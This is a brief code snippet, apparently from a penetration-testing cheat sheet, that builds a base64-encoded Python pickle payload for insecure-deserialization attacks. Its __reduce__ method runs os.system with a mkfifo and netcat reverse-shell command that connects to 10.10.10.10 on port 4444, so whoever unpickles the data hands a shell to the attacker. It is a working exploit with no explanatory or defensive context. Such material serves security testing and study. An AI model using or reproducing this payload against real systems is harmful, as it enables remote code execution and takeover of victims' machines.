- Python
	```Python
	import pickle
	import sys
	import base64
	command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | netcat **10.10.10.10 4444** > /tmp/f' 
	class rce(object):
	  def __reduce__(self): 
	    import os 
		return (os.system,(command,))
	print(base64.b64encode(pickle.dumps(rce())))
	```

